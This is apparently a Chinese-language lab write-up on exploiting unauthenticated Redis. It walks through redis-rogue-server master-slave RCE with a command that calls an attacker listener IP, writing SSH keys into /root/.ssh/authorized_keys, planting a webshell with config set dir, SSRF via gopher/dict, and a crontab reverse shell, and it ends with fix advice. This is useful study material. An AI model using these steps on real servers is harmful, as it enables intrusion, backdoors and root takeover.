
Redis 是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。
Redis 复现文章较全
Redis+ssrf 漏洞利用探测内网
RedisInsight/RedisDesktopManager 可视化连接工具
# 漏洞原理
1 | (1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; |
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,并且写公匙登录
测绘查找
1 | port="6379"&server="redis" |

# Docker 开启环境
1 | docker-compose up -d |

kali 扫描主机同样存在

# Redis (<=5.0.5) RCE 工具梭哈
RedisRCE 工具
攻击机下载 RCE 工具 redis-rogue-server 工具。使用该工具将在终端伪造一个 redis 服务并尝试与目标连接实现未授权访问
1 | git clone https://github.com/n0b0dyCN/redis-rogue-server // kali直接下载 |

# Redis 4.x/5.x 主从复制 RCE
工具地址
主从复制是指将一台 Redis 主服务器的数据,复制到其他的 Redis 从服务器。前者称为主节点 (master),后者称为从节点
漏洞原理是目标靶机存在 ssrf 漏洞探测到了 Redis 未授权,我们可以自己搭建一个 redis 服务器作为目标靶机的主服务器,也就是说我们在 redis 服务器恶意构造. so 文件,通过主从复制的模式到该目标靶机实现 RCE
通过工具远程连接执行,原本是通过 git 在 kali 克隆但是克隆不了,所以从物理机手动下载移到 Kali 并且进入 redis-rogue-getshell-master/RedisModulesSDK/exp 路径使用 make 命令下载模块,下载完成后 cd 回到根目录 redis-rogue-getshell-master

1 | python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami" |

# 未授权生成 ssh [1] 公私钥免密登录
登陆 linux 有几种方式,最常用的是密码登陆和 RSA key 登陆, RSA key 登陆是生成一个公私对应的秘钥;未授权成功后将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件的 authotrized_keys 文件中,进而可以使用保留在攻击机对应私钥使用 ssh 服务器登录目标服务器
为什么
redis可以获取服务器的root权限呢?RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里[2],后面我们拿对应私钥登陆即可(但是这种方式需要再
redis是root启动的情况下使用,因为非root权限无法进入/root目录)
攻击机中生成 ssh 公钥和私钥文件,密码为空一直回车就行 id_rsa 为私钥, id_rsa.pub 为公钥

进入 ssh 目录将生成的公钥保存到 1.txt 并且使用远程连接攻击连接靶机把 1.txt 写入 redis 中
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt // 攻击机保存文件 |

下面操作就是更改目标服务器 Redis 备份路径为 ssh 公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用 SSH 免密登录靶机,利用私钥成功登入 redis 服务器

# Redis-cli 工具连接写 shell
攻击机下载工具
1 | wget http://download.redis.io/redis-stable.tar.gz |
远程连接 Redis 服务器免密登录命令
1 | 无密码登录命令 |

# 写入 shell 文件
靶场没有开启 web 端口无法直接上传木马文件,用写入 shell 文件的方式添加后门攻击者在未授权访问 Redis 的情况下,利用服务自身提供的 config 命令,可以进行写文件所以可以写入 shell , 在上文远程连接基础上写入文件,选择 /tmp 目录通常对所有用户都是可读写的
1 | config set dir /tmp // 选择目录为tmp |

写入文件后可以通过容器 ID 查看文件

Docker 查看写入 Shell 成功,使用 IP 结合路径就可以 连接蚁剑了

# Redis+SSRF
国光 SSRF 靶场探测内网
SSRF 中 Redis 的利用掌控社区
飘渺红尘对于 SSRC 协议攻击 Redis 分析
goher 协议写 RCE 脚本项目
伪协议
利用 SSRF 伪协议 file 读取机器文件获得内网 IP 再次利用伪协议 DICT 配合内网 IP 探测内网端口开放情况,如果存在 6379 开放且是未授权连接则可以按上面的打方打,前提是 SSRF 扫描到了内网的 Redis 服务,然后 SSRF配合 伪协议在 Redis 里面写东西,利用上面的工具,通常都是 gopher 协议构造数据包,SSRF 打 Redis 关键就是用 ** gopher [3]/**** dict ** 协议 两个都可以写一句话, dict 可以写计划任务
config写一句话shell在tmp或者其他有写入权限目录;知晓网站绝对路径通过蚁剑连接,- 攻击机生成公私钥复制上传,造成免密登录对方机器
crontao写入计划任务反弹shell

# 修复建议
- 修改
redis.conf配置文件设置bind 127.0.0.1,这将限制Redis仅接受来自本地主机的连接 - 设置强密码连接
Redis需要进行身份验证